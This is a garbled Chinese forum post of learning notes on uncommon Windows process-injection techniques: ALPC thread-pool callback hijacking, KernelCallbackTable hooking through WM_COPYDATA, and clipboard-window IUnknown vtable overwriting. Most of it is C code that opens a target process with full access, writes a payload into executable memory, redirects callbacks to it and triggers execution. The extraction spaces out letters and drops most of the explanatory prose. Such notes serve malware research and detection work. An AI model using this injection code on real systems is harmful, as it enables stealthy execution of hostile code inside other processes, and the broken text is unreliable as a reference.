[1869] 2020-11-20_Windows不太常见的进程注入学习小记(二)

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-16
2020-11-20_Windows不太常见的进程注入学习小记(二) W i n d o w s   D a y 1   2 0 2 0 - 1 1 - 2 0 0 x 0 0   A L P C 0 x 0 1 L P C L o c a l   P r o c e d u r e   C a l l W i n d o w s   N T W i n d o w s   V i s t a A L P C A d v a n c e d   L o c a l P r o c e d u r e   C a l l L P C A L P C 便 U M D F U s e r - M o d e   D r i v e r   F r a m e w o r k     A l e x   I o n e s c u   s y s c a n 2 0 1 4 使 w i n d o w s A L P C P r o c e s s E x p l o r e r A L P C   P o r t A L P C T P _ C A L L B A C K _ O B J E C T t y p e d e f   s t r u c t   _ T P _ C A L L B A C K _ O B J E C T   {         U L O N G                                                           R e f C o u n t ;         P V O I D                                                           C l e a n u p G r o u p M e m b e r ;         P T P _ C L E A N U P _ G R O U P                                   C l e a n u p G r o u p ;
T P _ S I M P L E _ C A L L B A C K T P _ S I M P L E _ C A L L B A C K C o n t e x t T P _ S I M P L E _ C A L L B A C K 0 x 0 2   i d i d N t Q u e r y S y s t e m I n f o r m a t i o n 0 x 1 0 S y s t e m H a n d l e I n f o r m a t i o n A L P C p i d 4 5 . . . w i n d o w s 1 0 4 5 v e c t o r A L P C         P T P _ C L E A N U P _ G R O U P                                   C l e a n u p G r o u p ;         P T P _ C L E A N U P _ G R O U P _ C A N C E L _ C A L L B A C K   C l e a n u p G r o u p C a n c e l C a l l b a c k ;         P T P _ S I M P L E _ C A L L B A C K                               F i n a l i z a t i o n C a l l b a c k ;         L I S T _ E N T R Y                                                 W o r k L i s t ;         U L O N G 6 4                                                       B a r r i e r ;         U L O N G 6 4                                                       U n k n o w n 1 ;         S R W L O C K                                                       S h a r e d L o c k ;         T P _ S I M P L E _ C A L L B A C K                                 C a l l b a c k ;         P A C T I V A T I O N _ C O N T E X T                               A c t i v a t i o n C o n t e x t ;         U L O N G 6 4                                                       S u b P r o c e s s T a g ;         G U I D                                                             A c t i v i t y I d ;         B O O L                                                             W o r k i n g O n B e h a l f T i c k e t ;         P V O I D                                                           R a c e D l l ;         P T P _ P O O L                                                     P o o l ;         L I S T _ E N T R Y                                                 G r o u p L i s t ;         U L O N G                                                           F l a g s ;         T P _ S I M P L E _ C A L L B A C K                                 C a l l e r A d d r e s s ;         T P _ C A L L B A C K _ P R I O R I T Y                             C a l l b a c k P r i o r i t y ; }   T P _ C A L L B A C K _ O B J E C T ,   * P T P _ C A L L B A C K _ O B J E C T ; t y p e d e f   s t r u c t   _ T P _ S I M P L E _ C A L L B A C K   {         P V O I D                                                           F u n c t i o n ;         P V O I D                                                           C o n t e x t ; }   T P _ S I M P L E _ C A L L B A C K ; p i - > h p   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   p i - > p i d ) ;         i f ( p i - > h p = = N U L L )   r e t u r n   F A L S E ; f o r ( l e n = M A X _ B U F S I Z ; ; l e n + = M A X _ B U F S I Z )   {           l i s t   =   x m a l l o c ( l e n ) ;           s t a t u s   =   N t Q u e r y S y s t e m I n f o r m a t i o n (                   S y s t e m H a n d l e I n f o r m a t i o n ,   l i s t ,   l e n ,   & t o t a l ) ;           / /   b r e a k   f r o m   l o o p   i f   o k                 i f ( N T _ S U C C E S S ( s t a t u s ) )   b r e a k ;           / /   f r e e   l i s t   a n d   c o n t i n u e           x f r e e ( l i s t ) ;           }
P T P _ C A L L B A C K _ O B J E C T f o r ( i = 0 ;   i < h l - > N u m b e r O f H a n d l e s ;   i + + )   {             i f ( h l - > H a n d l e s [ i ] . U n i q u e P r o c e s s I d   ! =   p i - > p i d )   c o n t i n u e ;             i f ( h l - > H a n d l e s [ i ] . O b j e c t T y p e I n d e x   ! =   4 5 )   c o n t i n u e ;               / /   d u p l i c a t e   t h e   h a n d l e   o b j e c t             s t a t u s   =   N t D u p l i c a t e O b j e c t (                         p i - > h p ,   ( H A N D L E ) h l - > H a n d l e s [ i ] . H a n d l e V a l u e ,                         G e t C u r r e n t P r o c e s s ( ) ,   & h O b j ,   0 ,   0 ,   0 ) ;               / /   c o n t i n u e   w i t h   n e x t   e n t r y   i f   w e   f a i l e d             i f ( ! N T _ S U C C E S S ( s t a t u s ) )   c o n t i n u e ;               / /   t r y   q u e r y   t h e   n a m e             s t a t u s   =   N t Q u e r y O b j e c t ( h O b j ,                     O b j e c t N a m e I n f o r m a t i o n ,   o b j N a m e ,   8 1 9 2 ,   N U L L ) ;               / /   g o t   i t   o k a y ?             i f ( N T _ S U C C E S S ( s t a t u s )   & &   o b j N a m e - > N a m e . B u f f e r ! = N U L L )   {                 / /   s a v e   t o   l i s t                 p i - > p o r t s . p u s h _ b a c k ( o b j N a m e - > N a m e . B u f f e r ) ;             }             / /   c l o s e   h a n d l e   o b j e c t             N t C l o s e ( h O b j ) ;         } B O O L   I s V a l i d T C O ( H A N D L E   h P r o c e s s ,   P T P _ C A L L B A C K _ O B J E C T   t c o )   {         M E M O R Y _ B A S I C _ I N F O R M A T I O N   m b i ;         S I Z E _ T                                       r e s ;           / /   i f   i t ' s   a   c a l l b a c k ,   t h e s e   v a l u e s   s h o u l d n ' t   b e   e m p t y           i f ( t c o - > C l e a n u p G r o u p M e m b e r           = =   N U L L   | |               t c o - > P o o l                                       = =   N U L L   | |               t c o - > C a l l e r A d d r e s s . F u n c t i o n   = =   N U L L   | |               t c o - > C a l l b a c k . F u n c t i o n             = =   N U L L )   r e t u r n   F A L S E ;           / /   t h e   C l e a n u p G r o u p M e m b e r   s h o u l d   r e s i d e   i n   r e a d - o n l y         / /   a r e a   o f   i m a g e         r e s   =   V i r t u a l Q u e r y E x ( h P r o c e s s ,             ( L P V O I D ) t c o - > C l e a n u p G r o u p M e m b e r ,   & m b i ,   s i z e o f ( m b i ) ) ;           i f   ( r e s   ! =   s i z e o f ( m b i ) )   r e t u r n   F A L S E ;         i f   ( ! ( m b i . P r o t e c t   &   P A G E _ R E A D O N L Y ) )   r e t u r n   F A L S E ;         i f   ( ! ( m b i . T y p e   &   M E M _ I M A G E ) )   r e t u r n   F A L S E ;           / /   t h e   p o o l   o b j e c t   s h o u l d   r e s i d e   i n   r e a d + w r i t e   m e m o r y         r e s   =   V i r t u a l Q u e r y E x ( h P r o c e s s ,             ( L P V O I D ) t c o - > P o o l ,   & m b i ,   s i z e o f ( m b i ) ) ;  
H O O K H O O K           i f   ( r e s   ! =   s i z e o f ( m b i ) )   r e t u r n   F A L S E ;         i f   ( ! ( m b i . P r o t e c t   &   P A G E _ R E A D W R I T E ) )   r e t u r n   F A L S E ;           / /   t h e   c a l l e r   f u n c t i o n   s h o u l d   r e s i d e   i n   r e a d + e x e c u t a b l e   m e m o r y         r e s   =   V i r t u a l Q u e r y E x ( h P r o c e s s ,             ( L P C V O I D ) t c o - > C a l l e r A d d r e s s . F u n c t i o n ,   & m b i ,   s i z e o f ( m b i ) ) ;           i f   ( r e s   ! =   s i z e o f ( m b i ) )   r e t u r n   F A L S E ;         i f   ( ! ( m b i . P r o t e c t   &   P A G E _ E X E C U T E _ R E A D ) )   r e t u r n   F A L S E ;           / /   t h e   c a l l b a c k   f u n c t i o n   s h o u l d   r e s i d e   i n   r e a d + e x e c u t a b l e   m e m o r y         r e s   =   V i r t u a l Q u e r y E x ( h P r o c e s s ,             ( L P C V O I D ) t c o - > C a l l b a c k . F u n c t i o n ,   & m b i ,   s i z e o f ( m b i ) ) ;           i f   ( r e s   ! =   s i z e o f ( m b i ) )   r e t u r n   F A L S E ;         r e t u r n   ( m b i . P r o t e c t   &   P A G E _ E X E C U T E _ R E A D ) ;       } R P C R T 4 . d l l b F o u n d = I s V a l i d T C O ( p i - > h p ,   & t c o ) ;             i f ( b F o u n d )   {                 / /   o b t a i n   m o d u l e   n a m e   w h e r e   c a l l b a c k   r e s i d e s                 G e t M a p p e d F i l e N a m e ( p i - > h p ,   ( L P V O I D ) t c o . C a l l b a c k . F u n c t i o n ,   f i l e n a m e ,   M A X _ P A T H ) ;                 / /   f i l t e r   b y   R P C R T 4 . d l l                 i f ( S t r S t r I ( f i l e n a m e ,   L " R P C R T 4 . d l l " ) ! = N U L L )   {                     w p r i n t f ( L " F o u n d   T C O   a t   % p   f o r   % s n " ,     a d d r + p o s ,   f i l e n a m e ) ;                     / /   t r y   r u n   p a y l o a d   u s i n g   t h i s   T C O                     / /   i f   s u c c e s s f u l ,   e n d   s c a n                     b I n j e c t   =   A L P C _ d e p l o y ( p i ,   a d d r + p o s ,   & t c o ) ;                     i f   ( b I n j e c t )   b r e a k ;                 }             } B O O L   A L P C _ d e p l o y ( p r o c e s s _ i n f o   * p i ,   L P V O I D   d s ,   P T P _ C A L L B A C K _ O B J E C T   t c o )   {         L P V O I D                           c s   =   N U L L ;         B O O L                               b I n j e c t   =   F A L S E ;         T P _ C A L L B A C K _ O B J E C T   c p y ;         / /   l o c a l   c o p y   o f   t c o         S I Z E _ T                           w r ;         T P _ S I M P L E _ C A L L B A C K   t p ;         D W O R D                             i ;           / /   a l l o c a t e   m e m o r y   i n   r e m o t e   f o r   p a y l o a d   a n d   c a l l b a c k   p a r a m e t e r         c s   =   V i r t u a l A l l o c E x ( p i - > h p ,   N U L L ,             p i - > p a y l o a d S i z e   +   s i z e o f ( T P _ S I M P L E _ C A L L B A C K ) ,
0 x 0 3   h t t p s : / / c o n f e r e n c e . h i t b . o r g / h i t b s e c c o n f 2 0 1 4 k u l / m a t e r i a l s / D 2 T 1 % 2 0 - % 2 0 B e n % 2 0 N a g y % 2 0 - % 2 0 A L P C % 2 0 F u z z i n g % 2 0 T o o l k i t . p d f h t t p s : / / b l o g . c s d n . n e t / w e i x i n _ 4 3 7 8 7 6 0 8 / a r t i c l e / d e t a i l s / 8 4 5 5 5 4 7 4 h t t p s : / / m o d e x p . w o r d p r e s s . c o m / 2 0 1 9 / 0 3 / 0 7 / p r o c e s s - i n j e c t i o n - p r i n t - s p o o l e r / K e r n e l C a l l b a c k T a b l e   H O O K 0 x 0 1   K e r n e l C a l l B a c k T a b l e P E B U S E R 3 2 . D L L K e r n e l C a l l b a c k T a b l e   P E B K e r n e l C a l l b a c k T a b l e             M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;           i f   ( c s   ! =   N U L L )   {                 / /   w r i t e   p a y l o a d   t o   r e m o t e   p r o c e s s                 W r i t e P r o c e s s M e m o r y ( p i - > h p ,   c s ,   p i - > p a y l o a d ,   p i - > p a y l o a d S i z e ,   & w r ) ;                 / /   b a c k u p   T C O                 C o p y M e m o r y ( & c p y ,   t c o ,   s i z e o f ( T P _ C A L L B A C K _ O B J E C T ) ) ;                 / /   c o p y   o r i g i n a l   c a l l b a c k   a d d r e s s   a n d   p a r a m e t e r                 t p . F u n c t i o n   =   c p y . C a l l b a c k . F u n c t i o n ;                 t p . C o n t e x t     =   c p y . C a l l b a c k . C o n t e x t ;                 / /   w r i t e   c a l l b a c k + p a r a m e t e r   t o   r e m o t e   p r o c e s s                 W r i t e P r o c e s s M e m o r y ( p i - > h p ,   ( L P B Y T E ) c s   +   p i - > p a y l o a d S i z e ,   & t p ,   s i z e o f ( t p ) ,   & w r ) ;                 / /   u p d a t e   o r i g i n a l   c a l l b a c k   w i t h   a d d r e s s   o f   p a y l o a d   a n d   p a r a m e t e r                 c p y . C a l l b a c k . F u n c t i o n   =   c s ;                 c p y . C a l l b a c k . C o n t e x t     =   ( L P B Y T E ) c s   +   p i - > p a y l o a d S i z e ;                 / /   u p d a t e   T C O   i n   r e m o t e   p r o c e s s                 W r i t e P r o c e s s M e m o r y ( p i - > h p ,   d s ,   & c p y ,   s i z e o f ( c p y ) ,   & w r ) ;                 / /   t r i g g e r   e x e c u t i o n   o f   p a y l o a d                 f o r ( i = 0 ; i < p i - > p o r t s . s i z e ( ) ;   i + + )   {                     A L P C _ C o n n e c t ( p i - > p o r t s [ i ] ) ;                     / /   r e a d   b a c k   t h e   T C O                     R e a d P r o c e s s M e m o r y ( p i - > h p ,   d s ,   & c p y ,   s i z e o f ( c p y ) ,   & w r ) ;                     / /   i f   c a l l b a c k   p o i n t e r   i s   t h e   o r i g i n a l ,   w e   s u c c e e d e d .                     b I n j e c t   =   ( c p y . C a l l b a c k . F u n c t i o n   = =   t c o - > C a l l b a c k . F u n c t i o n ) ;                     i f ( b I n j e c t )   b r e a k ;                 }                 / /   r e s t o r e   t h e   o r i g i n a l   t c o                 W r i t e P r o c e s s M e m o r y ( p i - > h p ,   d s ,   t c o ,   s i z e o f ( c p y ) ,   & w r ) ;                 / /   r e l e a s e   m e m o r y   f o r   p a y l o a d                 V i r t u a l F r e e E x ( p i - > h p ,   c s ,                     p i - > p a y l o a d S i z e + s i z e o f ( t p ) ,   M E M _ R E L E A S E ) ;         }         r e t u r n   b I n j e c t ; } _ f n C O P Y D A T A W M _ C O P Y D A T A
K e r n e l C a l l B a c k T a b l e t y p e d e f   s t r u c t   _ P E B {         B O O L E A N   I n h e r i t e d A d d r e s s S p a c e ;             / /   T h e s e   f o u r   f i e l d s   c a n n o t   c h a n g e   u n l e s s   t h e         B O O L E A N   R e a d I m a g e F i l e E x e c O p t i o n s ;       / /         B O O L E A N   B e i n g D e b u g g e d ;                             / /         B O O L E A N   S p a r e B o o l ;                                     / /         H A N D L E   M u t a n t ;                                             / /   I N I T I A L _ P E B   s t r u c t u r e   i s   a l s o   u p d a t e d .           P V O I D   I m a g e B a s e A d d r e s s ;         P P E B _ L D R _ D A T A   L d r ;         P R T L _ U S E R _ P R O C E S S _ P A R A M E T E R S   P r o c e s s P a r a m e t e r s ;         P V O I D   S u b S y s t e m D a t a ;         P V O I D   P r o c e s s H e a p ;         P V O I D   F a s t P e b L o c k ;         P V O I D   F a s t P e b L o c k R o u t i n e ;         P V O I D   F a s t P e b U n l o c k R o u t i n e ;         U L O N G   E n v i r o n m e n t U p d a t e C o u n t ;         P V O I D   K e r n e l C a l l b a c k T a b l e ;         / /   . . . s n i p p e d t y p e d e f   s t r u c t   _ K E R N E L C A L L B A C K T A B L E _ T   {         U L O N G _ P T R   _ _ f n C O P Y D A T A ;         U L O N G _ P T R   _ _ f n C O P Y G L O B A L D A T A ;         U L O N G _ P T R   _ _ f n D W O R D ;         U L O N G _ P T R   _ _ f n N C D E S T R O Y ;         U L O N G _ P T R   _ _ f n D W O R D O P T I N L P M S G ;         U L O N G _ P T R   _ _ f n I N O U T D R A G ;         U L O N G _ P T R   _ _ f n G E T T E X T L E N G T H S ;         U L O N G _ P T R   _ _ f n I N C N T O U T S T R I N G ;         U L O N G _ P T R   _ _ f n P O U T L P I N T ;         U L O N G _ P T R   _ _ f n I N L P C O M P A R E I T E M S T R U C T ;         U L O N G _ P T R   _ _ f n I N L P C R E A T E S T R U C T ;         U L O N G _ P T R   _ _ f n I N L P D E L E T E I T E M S T R U C T ;         U L O N G _ P T R   _ _ f n I N L P D R A W I T E M S T R U C T ;         U L O N G _ P T R   _ _ f n P O P T I N L P U I N T ;         U L O N G _ P T R   _ _ f n P O P T I N L P U I N T 2 ;         U L O N G _ P T R   _ _ f n I N L P M D I C R E A T E S T R U C T ;         U L O N G _ P T R   _ _ f n I N O U T L P M E A S U R E I T E M S T R U C T ;         U L O N G _ P T R   _ _ f n I N L P W I N D O W P O S ;         U L O N G _ P T R   _ _ f n I N O U T L P P O I N T 5 ;         U L O N G _ P T R   _ _ f n I N O U T L P S C R O L L I N F O ;         U L O N G _ P T R   _ _ f n I N O U T L P R E C T ;         U L O N G _ P T R   _ _ f n I N O U T N C C A L C S I Z E ;         U L O N G _ P T R   _ _ f n I N O U T L P P O I N T 5 _ ;         U L O N G _ P T R   _ _ f n I N P A I N T C L I P B R D ;         U L O N G _ P T R   _ _ f n I N S I Z E C L I P B R D ;         U L O N G _ P T R   _ _ f n I N D E S T R O Y C L I P B R D ;         U L O N G _ P T R   _ _ f n I N S T R I N G ;         U L O N G _ P T R   _ _ f n I N S T R I N G N U L L ;
        U L O N G _ P T R   _ _ f n I N S T R I N G N U L L ;         U L O N G _ P T R   _ _ f n I N D E V I C E C H A N G E ;         U L O N G _ P T R   _ _ f n P O W E R B R O A D C A S T ;         U L O N G _ P T R   _ _ f n I N L P U A H D R A W M E N U ;         U L O N G _ P T R   _ _ f n O P T O U T L P D W O R D O P T O U T L P D W O R D ;         U L O N G _ P T R   _ _ f n O P T O U T L P D W O R D O P T O U T L P D W O R D _ ;         U L O N G _ P T R   _ _ f n O U T D W O R D I N D W O R D ;         U L O N G _ P T R   _ _ f n O U T L P R E C T ;         U L O N G _ P T R   _ _ f n O U T S T R I N G ;         U L O N G _ P T R   _ _ f n P O P T I N L P U I N T 3 ;         U L O N G _ P T R   _ _ f n P O U T L P I N T 2 ;         U L O N G _ P T R   _ _ f n S E N T D D E M S G ;         U L O N G _ P T R   _ _ f n I N O U T S T Y L E C H A N G E ;         U L O N G _ P T R   _ _ f n H k I N D W O R D ;         U L O N G _ P T R   _ _ f n H k I N L P C B T A C T I V A T E S T R U C T ;         U L O N G _ P T R   _ _ f n H k I N L P C B T C R E A T E S T R U C T ;         U L O N G _ P T R   _ _ f n H k I N L P D E B U G H O O K S T R U C T ;         U L O N G _ P T R   _ _ f n H k I N L P M O U S E H O O K S T R U C T E X ;         U L O N G _ P T R   _ _ f n H k I N L P K B D L L H O O K S T R U C T ;         U L O N G _ P T R   _ _ f n H k I N L P M S L L H O O K S T R U C T ;         U L O N G _ P T R   _ _ f n H k I N L P M S G ;         U L O N G _ P T R   _ _ f n H k I N L P R E C T ;         U L O N G _ P T R   _ _ f n H k O P T I N L P E V E N T M S G ;         U L O N G _ P T R   _ _ x x x C l i e n t C a l l D e l e g a t e T h r e a d ;         U L O N G _ P T R   _ _ C l i e n t C a l l D u m m y C a l l b a c k ;         U L O N G _ P T R   _ _ f n K E Y B O A R D C O R R E C T I O N C A L L O U T ;         U L O N G _ P T R   _ _ f n O U T L P C O M B O B O X I N F O ;         U L O N G _ P T R   _ _ f n I N L P C O M P A R E I T E M S T R U C T 2 ;         U L O N G _ P T R   _ _ x x x C l i e n t C a l l D e v C a l l b a c k C a p t u r e ;         U L O N G _ P T R   _ _ x x x C l i e n t C a l l D i t T h r e a d ;         U L O N G _ P T R   _ _ x x x C l i e n t E n a b l e M M C S S ;         U L O N G _ P T R   _ _ x x x C l i e n t U p d a t e D p i ;         U L O N G _ P T R   _ _ x x x C l i e n t E x p a n d S t r i n g W ;         U L O N G _ P T R   _ _ C l i e n t C o p y D D E I n 1 ;         U L O N G _ P T R   _ _ C l i e n t C o p y D D E I n 2 ;         U L O N G _ P T R   _ _ C l i e n t C o p y D D E O u t 1 ;         U L O N G _ P T R   _ _ C l i e n t C o p y D D E O u t 2 ;         U L O N G _ P T R   _ _ C l i e n t C o p y I m a g e ;         U L O N G _ P T R   _ _ C l i e n t E v e n t C a l l b a c k ;         U L O N G _ P T R   _ _ C l i e n t F i n d M n e m C h a r ;         U L O N G _ P T R   _ _ C l i e n t F r e e D D E H a n d l e ;         U L O N G _ P T R   _ _ C l i e n t F r e e L i b r a r y ;         U L O N G _ P T R   _ _ C l i e n t G e t C h a r s e t I n f o ;         U L O N G _ P T R   _ _ C l i e n t G e t D D E F l a g s ;         U L O N G _ P T R   _ _ C l i e n t G e t D D E H o o k D a t a ;         U L O N G _ P T R   _ _ C l i e n t G e t L i s t b o x S t r i n g ;         U L O N G _ P T R   _ _ C l i e n t G e t M e s s a g e M P H ;         U L O N G _ P T R   _ _ C l i e n t L o a d I m a g e ;         U L O N G _ P T R   _ _ C l i e n t L o a d L i b r a r y ;         U L O N G _ P T R   _ _ C l i e n t L o a d M e n u ;         U L O N G _ P T R   _ _ C l i e n t L o a d L o c a l T 1 F o n t s ;
        U L O N G _ P T R   _ _ C l i e n t P S M T e x t O u t ;         U L O N G _ P T R   _ _ C l i e n t L p k D r a w T e x t E x ;         U L O N G _ P T R   _ _ C l i e n t E x t T e x t O u t W ;         U L O N G _ P T R   _ _ C l i e n t G e t T e x t E x t e n t P o i n t W ;         U L O N G _ P T R   _ _ C l i e n t C h a r T o W c h a r ;         U L O N G _ P T R   _ _ C l i e n t A d d F o n t R e s o u r c e W ;         U L O N G _ P T R   _ _ C l i e n t T h r e a d S e t u p ;         U L O N G _ P T R   _ _ C l i e n t D e l i v e r U s e r A p c ;         U L O N G _ P T R   _ _ C l i e n t N o M e m o r y P o p u p ;         U L O N G _ P T R   _ _ C l i e n t M o n i t o r E n u m P r o c ;         U L O N G _ P T R   _ _ C l i e n t C a l l W i n E v e n t P r o c ;         U L O N G _ P T R   _ _ C l i e n t W a i t M e s s a g e E x M P H ;         U L O N G _ P T R   _ _ C l i e n t W O W G e t P r o c M o d u l e ;         U L O N G _ P T R   _ _ C l i e n t W O W T a s k 1 6 S c h e d N o t i f y ;         U L O N G _ P T R   _ _ C l i e n t I m m L o a d L a y o u t ;         U L O N G _ P T R   _ _ C l i e n t I m m P r o c e s s K e y ;         U L O N G _ P T R   _ _ f n I M E C O N T R O L ;         U L O N G _ P T R   _ _ f n I N W P A R A M D B C S C H A R ;         U L O N G _ P T R   _ _ f n G E T T E X T L E N G T H S 2 ;         U L O N G _ P T R   _ _ f n I N L P K D R A W S W I T C H W N D ;         U L O N G _ P T R   _ _ C l i e n t L o a d S t r i n g W ;         U L O N G _ P T R   _ _ C l i e n t L o a d O L E ;         U L O N G _ P T R   _ _ C l i e n t R e g i s t e r D r a g D r o p ;         U L O N G _ P T R   _ _ C l i e n t R e v o k e D r a g D r o p ;         U L O N G _ P T R   _ _ f n I N O U T M E N U G E T O B J E C T ;         U L O N G _ P T R   _ _ C l i e n t P r i n t e r T h u n k ;         U L O N G _ P T R   _ _ f n O U T L P C O M B O B O X I N F O 2 ;         U L O N G _ P T R   _ _ f n O U T L P S C R O L L B A R I N F O ;         U L O N G _ P T R   _ _ f n I N L P U A H D R A W M E N U 2 ;         U L O N G _ P T R   _ _ f n I N L P U A H D R A W M E N U I T E M ;         U L O N G _ P T R   _ _ f n I N L P U A H D R A W M E N U 3 ;         U L O N G _ P T R   _ _ f n I N O U T L P U A H M E A S U R E M E N U I T E M ;         U L O N G _ P T R   _ _ f n I N L P U A H D R A W M E N U 4 ;         U L O N G _ P T R   _ _ f n O U T L P T I T L E B A R I N F O E X ;         U L O N G _ P T R   _ _ f n T O U C H ;         U L O N G _ P T R   _ _ f n G E S T U R E ;         U L O N G _ P T R   _ _ f n P O P T I N L P U I N T 4 ;         U L O N G _ P T R   _ _ f n P O P T I N L P U I N T 5 ;         U L O N G _ P T R   _ _ x x x C l i e n t C a l l D e f a u l t I n p u t H a n d l e r ;         U L O N G _ P T R   _ _ f n E M P T Y ;         U L O N G _ P T R   _ _ C l i e n t R i m D e v C a l l b a c k ;         U L O N G _ P T R   _ _ x x x C l i e n t C a l l M i n T o u c h H i t T e s t i n g C a l l b a c k ;         U L O N G _ P T R   _ _ C l i e n t C a l l L o c a l M o u s e H o o k s ;         U L O N G _ P T R   _ _ x x x C l i e n t B r o a d c a s t T h e m e C h a n g e ;         U L O N G _ P T R   _ _ x x x C l i e n t C a l l D e v C a l l b a c k S i m p l e ;         U L O N G _ P T R   _ _ x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s ;         U L O N G _ P T R   _ _ x x x C l i e n t F r e e W i n d o w C l a s s E x t r a B y t e s ;         U L O N G _ P T R   _ _ f n G E T W I N D O W D A T A ;         U L O N G _ P T R   _ _ f n I N O U T S T Y L E C H A N G E 2 ;         U L O N G _ P T R   _ _ f n H k I N L P M O U S E H O O K S T R U C T E X 2 ; }   K E R N E L C A L L B A C K T A B L E ;
0 x 0 2   H O O K W M _ C O P Y D A T A i d 使 N t Q u e r y I n f o r m a t i o n P r o c e s s P r o c e s s B a s i c I n f o r m a t i o n P E B K e r n e l C a l l b a c k T a b l e H O O K   K e r n e l C a l l b a c k T a b l e   f n C O P Y D A T A H O O K K e r n e l C a l l b a c k T a b l e 0 x 0 3   }   K E R N E L C A L L B A C K T A B L E ; f n C O P Y D A T A N t Q u e r y I n f o r m a t i o n P r o c e s s ( h p ,             P r o c e s s B a s i c I n f o r m a t i o n ,   & p b i ,   s i z e o f ( p b i ) ,   N U L L ) ; R e a d P r o c e s s M e m o r y ( h p ,   p b i . P e b B a s e A d d r e s s ,             & p e b ,   s i z e o f ( p e b ) ,   & r d ) ;   R e a d P r o c e s s M e m o r y ( h p ,   p e b . K e r n e l C a l l b a c k T a b l e ,             & k c t ,   s i z e o f ( k c t ) ,   & r d ) ;   c s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   p a y l o a d S i z e , M E M _ R E S E R V E   |   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ; W r i t e P r o c e s s M e m o r y ( h p ,   c s ,   p a y l o a d ,   p a y l o a d S i z e ,   & w r ) ;   / /   4 .   W r i t e   t h e   n e w   t a b l e   t o   r e m o t e   p r o c e s s d s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   s i z e o f ( k c t ) ,         M E M _ R E S E R V E   |   M E M _ C O M M I T ,   P A G E _ R E A D W R I T E ) ; k c t . _ _ f n C O P Y D A T A   =   ( U L O N G _ P T R ) c s ; W r i t e P r o c e s s M e m o r y ( h p ,   d s ,   & k c t ,   s i z e o f ( k c t ) ,   & w r ) ;   / /   5 .   U p d a t e   t h e   P E B W r i t e P r o c e s s M e m o r y ( h p ,     ( P B Y T E ) p b i . P e b B a s e A d d r e s s   +   o f f s e t o f ( P E B ,   K e r n e l C a l l b a c k T a b l e ) ,     & d s ,   s i z e o f ( U L O N G _ P T R ) ,   & w r ) ; c d s . d w D a t a   =   1 ; c d s . c b D a t a   =   l s t r l e n ( m s g )   *   2 ; c d s . l p D a t a   =   m s g ;   S e n d M e s s a g e ( h w ,   W M _ C O P Y D A T A ,   ( W P A R A M ) h w ,   ( L P A R A M ) & c d s ) ; W r i t e P r o c e s s M e m o r y ( h p ,             ( P B Y T E ) p b i . P e b B a s e A d d r e s s   +   o f f s e t o f ( P E B ,   K e r n e l C a l l b a c k T a b l e ) ,             & p e b . K e r n e l C a l l b a c k T a b l e ,   s i z e o f ( U L O N G _ P T R ) ,   & w r ) ;
h t t p s : / / m o d e x p . w o r d p r e s s . c o m / 2 0 1 9 / 0 5 / 2 5 / w i n d o w s - i n j e c t i o n - f i n s p y / C L I P B R D W N D C L A S S 0 x 0 1   C L I P B R D W N D C L A S S C l i p b o a r d R o o t D a t a O b j e c t I n t e r f a c e C l i p b o a r d D a t a O b j e c t I n t e r f a c e M T A   使 S e t P r o p A P I I U n k n o w n W M _ D E S T R O Y C L I P B O A R D I U n k n o w n R e l e a s e   I U n k n o w n 0 x 0 2   p i d I U n k n o w r e l e a s e p a y l o a d   p a y l o a d 0 x 0 3   h t t p s : / / m o d e x p . w o r d p r e s s . c o m / 2 0 1 9 / 0 5 / 2 4 / 4 0 6 6 / R I C H E D I T 0 x 0 1   C l i p b o a r d D a t a O b j e c t I n t e r f a c e C l i p b o a r d D a t a O b j e c t I n t e r f a c e t y p e d e f   s t r u c t   _ I U n k n o w n _ t   {         / /   a   p o i n t e r   t o   v i r t u a l   f u n c t i o n   t a b l e         U L O N G _ P T R   l p V t b l ;         / /   t h e   v i r t u a l   f u n c t i o n   t a b l e         U L O N G _ P T R   Q u e r y I n t e r f a c e ;         U L O N G _ P T R   A d d R e f ;         U L O N G _ P T R   R e l e a s e ;               / /   e x e c u t e d   f o r                                           W M _ D E S T R O Y C L I P B O A R D }   I U n k n o w n _ t ; h w   =   F i n d W i n d o w E x ( H W N D _ M E S S A G E ,   N U L L ,   L " C L I P B R D W N D C L A S S " ,   N U L L ) ; G e t W i n d o w T h r e a d P r o c e s s I d ( h w ,   & i d ) ; h p   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   i d ) ; c s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   p a y l o a d S i z e , M E M _ R E S E R V E   |   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ; W r i t e P r o c e s s M e m o r y ( h p ,   c s ,   p a y l o a d ,   p a y l o a d S i z e ,   & w r ) ; / /   3 .   A l l o c a t e   R W   m e m o r y   i n   p r o c e s s . / /         I n i t i a l i z e   a n d   w r i t e   I U n k n o w n   i n t e r f a c e d s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   s i z e o f ( I U n k n o w n _ t ) , M E M _ R E S E R V E   |   M E M _ C O M M I T ,   P A G E _ R E A D W R I T E ) ; i u . l p V t b l     =   ( U L O N G _ P T R ) d s   +   s i z e o f ( U L O N G _ P T R ) ; i u . R e l e a s e   =   ( U L O N G _ P T R ) c s ; W r i t e P r o c e s s M e m o r y ( h p ,   d s ,   & i u ,   s i z e o f ( I U n k n o w n _ t ) ,   & w r ) ; / /   4 .   S e t   t h e   i n t e r f a c e   p r o p e r t y   a n d   t r i g g e r   e x e c u t i o n       S e t P r o p ( h w ,   L " C l i p b o a r d D a t a O b j e c t I n t e r f a c e " ,   d s ) ;       P o s t M e s s a g e ( h w ,   W M _ D E S T R O Y C L I P B O A R D ,   0 ,   0 ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则